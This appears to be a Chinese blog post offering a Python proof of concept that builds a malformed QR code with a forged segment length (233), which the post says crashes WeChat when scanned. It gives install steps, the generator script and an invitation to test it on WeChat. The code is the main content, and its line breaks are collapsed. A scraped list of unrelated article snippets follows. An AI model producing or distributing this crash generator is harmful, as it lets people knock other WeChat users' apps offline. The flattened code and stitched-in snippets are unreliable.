注意:本代码仅供学习使用

微信崩溃?微信二维码崩溃了?微信最新二维码崩溃BUG,不知道问题在哪里。使用下面的二维码,轻松帮你复现

首先在命令行安装

pip install qrcode

以下就是python代码直接运行就会在同一目录下生成名字为BUG.png的二维码

就可以去微信测试了!!!

# encoding: utf-8
#淬炼工厂:铁柱
# 开发时间 : 2023/2/24 10:49
# 文件名 :  异常处理.py
import qrcode
from qrcode.util import QRData, MODE_NUMBER, MODE_8BIT_BYTEdef nvwu_put(self, num, length):if num == 0:num = 233  # 制造一个伪造的长度for i in range(length):self.put_bit(((num >> (length - i - 1)) & 1) == 1)qrcode.util.BitBuffer.put = nvwu_putdef cuiliangongchang():qr = qrcode.QRCode(2, qrcode.constants.ERROR_CORRECT_M, mask_pattern=0)num_data = QRData('1145141', MODE_NUMBER)data = QRData(b'.', MODE_8BIT_BYTE)hack_data = QRData(b'', MODE_8BIT_BYTE)# 确保所有数据都适应这个版本的最大内容长度qr.add_data(num_data)qr.add_data(data)qr.add_data(num_data)qr.add_data(data)qr.add_data(num_data)qr.add_data(data)qr.add_data(num_data)# 添加一个零长度的数据,使得数据的长度为233qr.add_data(hack_data)img = qr.make_image()img.save("./BUG.png")if __name__ == "__main__":cuiliangongchang()

上面的代码做了以下工作:
1. 创建一个新的QR码,纠错等级为M,掩码模式为0。
2. 创建一个新的QR数据,字符串为'1145141',模式为MODE_NUMBER。
3. 创建一个新的QR数据,字符串为'.',模式为MODE_8BIT_BYTE。
4. 创建一个新的QR数据,字符串为空,模式为MODE_8BIT_BYTE。

微信bug二维码崩溃漏洞?poc来了! 生成你们自己的二维码相关推荐

  1. Java生成中间logo的二维码(还可以加上二维码名称哦)

    最近有负责微信开发,对于微信开发的项目,肯定少不了二维码啦,正好有个这样的需求,这对不同的商品生成一个二维码,扫码即刻下单.博主就弄了一个二维码生成的工具类. 弄出来之后,产品经理又说了,中间放上公司 ...

  2. 怎样生成二维码?分享几种轻易生成二维码的方法

    怎样能够生成二维码呢?在日常中,使用二维码拥有很多的便利之处,比如,二维码可以被轻松地扫描和分享,使得信息的传递更加便捷.二维码还可以被用于实现物品追踪.防伪和溯源等功能,保证商品的质量和安全性.总之 ...

  3. 记一次发现某餐饮企业二维码支付漏洞的经历

     背景 如今,移动支付已经成为了主流,无现金支付越来越普遍,我们出门完全不用带纸币,到商店买东西.餐馆吃饭.坐车等都可以用手机支付解决,这给我们带来了很大的便利:我们再也不用担心钱包被偷或者丢掉的问题 ...

  4. 微信生成带参数的二维码,合成海报,扫码后推送小程序?

    微信服务号渠道二维码功能,支持生成带参数二维码,合成海报二维码,微信扫码后推送内容:结合微号帮平台48小时信息推送,推送微信小程序. 带参二维码 海报二维码 微信扫码后回复 48小时信息推送 在微号帮 ...

  5. 微信公众号之生成带参数的二维码

    生成带参数的二维码 为了满足用户渠道推广分析和用户帐号绑定等场景的需要,公众平台提供了生成带参数二维码的接口.使用该接口可以获得多个带不同场景值的二维码,用户扫描后,公众号可以接收到事件推送.目前有2 ...

  6. 微信开发生成带参数的二维码的讲解

    在微信公众号平台开发者那里,在"账号管理"那里,有一项功能是"生成带参数的二维码",通过这儿生成的二维码,只要通过微信扫一扫之后,会把事件自动推送到微信公众号上 ...

  7. 微信公众号怎么生成带参数的二维码?

    每位运营过微信公众平台的野生小编都知道,微信提供给开发者的文档是很高深的,最近为了弄个带参数的二维码,同样技术小白的小编也死了不少脑细胞了,然而我终于知道官方生成带参数的二维码的方法了. 1.注意事项 ...

  8. 微信公众平台 生成带参数的二维码

    前言:最近一直在开发微信的东西,总结一下微信生成带参数的二维码.这个其实在参考文章的第一篇总结的非常详细,大家可以参考一下.这里总结一下微信生成带参数二维码的过程和主要开发代码. 注:本文使用Rest ...

  9. 微信二维码图片长按没有出现“识别图中的二维码”

    2019独角兽企业重金招聘Python工程师标准>>> 问题:页面中显示二维码图片,但是长按没有出现"识别图中二维码"选项. 1有说是style 的问题,然而修改 ...

最新文章

  1. The constructor JedisPool(GenericObjectPoolConfig, String, int, int, String) refers to the missing t
  2. php使用webuploader表单上传文件覆盖文件key doesn't match with scope的问题和解决思路
  3. 7.使用reserve避免不必要的内存分配
  4. ASP.NET Core Web API + Ng6 实战视频 Day 2
  5. 1.x到2.x的迁移:可观察与可观察:RxJava FAQ
  6. 【BZOJ1976】[BeiJing2010组队]能量魔方 Cube 最小割
  7. 精准营销联系oracle,正确打开精准营销:用营销自动化技术发挥数据价值
  8. 利用Github探测发现特斯拉API请求漏洞
  9. 控制系统设计专题(三)——自抗扰控制算法(下)
  10. html如何在页面打开时让鼠标光标停留在某个表单文本框,网页制作实用技巧
  11. 硬链接和软连接 linux 的ln命令
  12. 商城运费模板数据库简单设计思路
  13. ren域名有价值吗?值不值得投资?ren域名的应用范围有哪些?
  14. C#原子操作(Interlocked.Decrement和Interlocked.Increment)
  15. STM32使用Jlink下载出现NO cortex-M SW device Found解决(超详细)
  16. 爬虫|12306模拟登录
  17. 【CVPR2022】用于域适应语义分割的域无关先验
  18. vue脚手架和html,vue脚手架的作用是什么?
  19. 如何给.txt标签文件添加噪声
  20. C语言函数替代strlen,C语言实现strlen函数的几种方法【转】

热门文章

  1. 将数据写入数据库:打开数据库,建库建表,通过php访问后台服务器(连接服务器(三种),选择数据库,设置字符集:防止数据乱码),通过php对数据库进行:增,删,改,查,操作
  2. VSCode自动添加分号并跳到下一行
  3. 《muduo网络库》学习笔记——muduo学习总结
  4. 程序员通宵加班赶项目是“努力奋斗”吗?网友:实际是改bug
  5. 梅科尔工作-王少鹏-鸿蒙笔记3
  6. JAVA——网络编程基本概念
  7. 恢复和删除桌面快捷方式图标箭头
  8. C++ 第17章 输入、输出和文件(iostream/ostream/fstream)
  9. 印章识别检测_印章尺寸测量_印章文字识别
  10. Python可视化:绘制折线图、设置线条形状和marker样式